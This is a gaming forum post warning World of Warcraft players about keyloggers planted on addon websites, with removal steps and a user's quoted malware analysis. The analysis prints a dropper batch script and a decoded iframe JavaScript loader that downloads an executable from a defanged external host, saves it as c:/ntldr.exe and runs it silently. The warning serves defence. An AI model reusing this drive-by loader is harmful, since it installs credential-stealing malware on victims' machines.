Account Security Warning: Addon Websites infected with keyloggers
Numerous threads have been popping up over the last couple of days about keyloggers embeded in Add-ons on Curse-gaming.com and worldofwar.net., lots of players got their account stolen. They have been detected in Addons and other parts of those two websites, according to users's testimony on boards.
For players who dont know, what's a keylogger and how dangerous it is for your WoW account, I will do a quick decription:
• Keyloggers record what you fill in at your account name and password and then send those data to the maker of the script. Therefore you will lose your account, since somebody else know your account and password information.
How to check if you are infected:
• If you have a file named ntldr.exe (EXE, not dll, the dll is used by your OS to boot your computer). That file is the keylogger and you should remove it asap.
• If you have the file \Windows\System32\algetgleyus.exe DELETE IT! Then open regedit.exe and go to \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and DELETE the key systwyei (this is what starts the executable each time). ONLY REMOVE THOSE TWO ITEMS.
How to protect yourself:
• Dont use Internet Explorer (It hasnt been confirmed that IE 7.0 was safe yet), instead download and start using Mozilla Firefox.
*Fore more security, since WoW targeted keyloggers use java in their process to infect you, you can block or allow java-script with the no-script add-on for firefox, It disables java on default and let you enable it on choice (for trusted websites).*
Where:
• WorldofWar.net: At this time, there is a keylogger embedded into the ui.worldofwar.net homepage. The keylogger itself is in an iframe embedded from hxxp://ui.bcegame.com/pps.exe (do not visit!).
• Curse-gaming.com: The curse-gaming keylogger is on media1.curse-gaming.com. If you go to their beta patch notes page from their site, everything's clean, but if you go to the one listed above, it's got the keylogger on it. (Source)
Source, testimony and more detailed infos:
• WorldofRaids:
http://www.worldofraids.com/forum/viewtopic.php?t=2487
• Blizzard forums:
http://forums.worldofwarc...opicId=58796664&sid=1
• IGN:
http://vnboards.ign.com/w...s/b22782/100532144/p1/?13
(copypaste van
www.worldofraids.com)
--------------------------------------------------------------------------------
-edit-
Meer info (van worldofraids.com forums):
Some new info:
The curse-gaming keylogger isn't *EXACTLY* on curse-gaming.com, it's on media1.curse-gaming.com. If you go to their beta patch notes page from their site, everything's clean, but if you go to the one listed above, it's got the keylogger on it.
the curse-gaming .exe contains this (Courtesy of Borong from Final Ascension):
quote:
boy this was a project.. so 47-22782-ollydbg-ollydbg.exe was written in simple Chinese which when executed does 3 things:
1. unpacks some files to a temp dir
2. creates a VB script
3. runs the VB script
Here's the vbscript:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@Echo Off¡¡¡¡
Set date=%date%
date 1987-12-18
@Echo Off & setlocal enableextensions
Echo WScript.Sleep 1000 > WOWLog.vbs
Set /a i = 10
:Timeout
If %i% == 0 Goto Next
setlocal
Set /a i = %i% - 1
cscript //nologo WOWLog.vbs
Goto Timeout
Goto End
:Next
Interfaces.exe
date %date%
Del Interfaces.exe
Del Setup_interfacer.exe
Del WOWLog.vbs
Del Setup.exe
So the interfaces.exe file seems to be the one that setups a resident file that loves to load itself into your systems memory. The process I believe is called algetgleyus.exe but no file by that name exists on disk. So thats pretty much where I am at now. All in all a fun little exercise for me doing some stuff I haven't done in awhile.
Edit 1: Oh yeah and the setup_~1.exe file created by ollydbg was written in Russian.. so yeah Chinese and Russian two languages I am really proficient in when trying to disassemble code and figure it out.
Edit 2: Doh.. I am a moron! algetgleyus.exe lives in \Windows\System32 and by default is a hidden, read-only file.
Edit 3: HOW TO CHECK IF YOU ARE INFECTED!!!!
If you have the file \Windows\System32\algetgleyus.exe DELETE IT!
Open regedit.exe and go to \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and DELETE the key systwyei (this is what starts the executable each time)
ONLY REMOVE THOSE TWO ITEMS.
--------------------------------------------------------------------------------
And from him about the WorldofWar one:
quote:
Borong wrote:
Ok so for the ui.wow one (file called pps.exe) here's what the script inside the embedded iframe really looks like (i didn't decode it.. found it on the forums)
code:
1
2
3
4
5
6
7
8
9
xPost.Open('GET','httxxxp://ui.bcegame.com/pps.exe',0);
xPost.Send();
var sGet=df.CreateObject('ADODB.Stream','');
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write(xPost.ResponseBody);
sGet.SaveToFile('c:/ntldr.exe',2);
var x = df.CreateObject('wscript.shell','');
x.run('c:/ntldr.exe',0);
So that one d/l's the pps.exe file, saves it to a file called "c:/ntldr.exe" which is COMPLETELY AND UTTERLY DIFFERENT than "c:\ntldr.dll" which YOU MUST HAVE TO LOAD WINDOWS!
Anyway.. I should be getting back to actual work so I can get out of here soon.
I wonder how many of you actually read this crap. Laughing
)
:strip_icc():strip_exif()/u/5976/crop67a33231e76cd_cropped.jpg?f=community)
).
:strip_icc():strip_exif()/u/3878/usericon1.jpg?f=community)
:strip_icc():strip_exif()/u/194696/crop57c6e7e6efeaa.jpeg?f=community)
Doe vooral AV en die wint aliance ook bijna altijd.
:strip_icc():strip_exif()/u/109523/crop5ea56b51ebf8a_cropped.jpeg?f=community)
:strip_exif()/u/64272/Ava1.gif?f=community)
:strip_exif()/u/27216/bosmonster_dropdown.gif?f=community)
:strip_icc():strip_exif()/u/164657/avatar1.jpg?f=community){kind=avatar}
. Weet ook niet echt of master of elements wel zo goed is. crit van fireball (400mana) -> 30% = 120 refund. Daar kan je vrij weinig mee.:strip_exif()/u/8422/waarschuwing.gif?f=community)
/u/12668/hydra.png?f=community)
:strip_icc():strip_exif()/u/116425/crop55c9c9fb49402_cropped.jpeg?f=community)
:strip_icc():strip_exif()/u/19676/TigerGOT.jpg?f=community)
:strip_icc():strip_exif()/u/20586/techforze.jpg?f=community)
/u/116525/tweakicon.png?f=community)
:strip_exif()/u/14385/malibu.gif?f=community)
:strip_exif()/u/18823/tentacle.gif?f=community)
:strip_icc():strip_exif()/u/115977/small-itsmalloy.jpg?f=community)
:strip_icc():strip_exif()/u/26427/YyRIk.jpg?f=community)
/u/59505/monica-thumb-klein.JPG?f=community)
:strip_icc():strip_exif()/u/58343/Turtle.jpg?f=community)
:strip_exif()/u/55793/froggy.gif?f=community)
Hopelijk wordt de Belgische klant even vlot bedient 
Dit topic is gesloten.
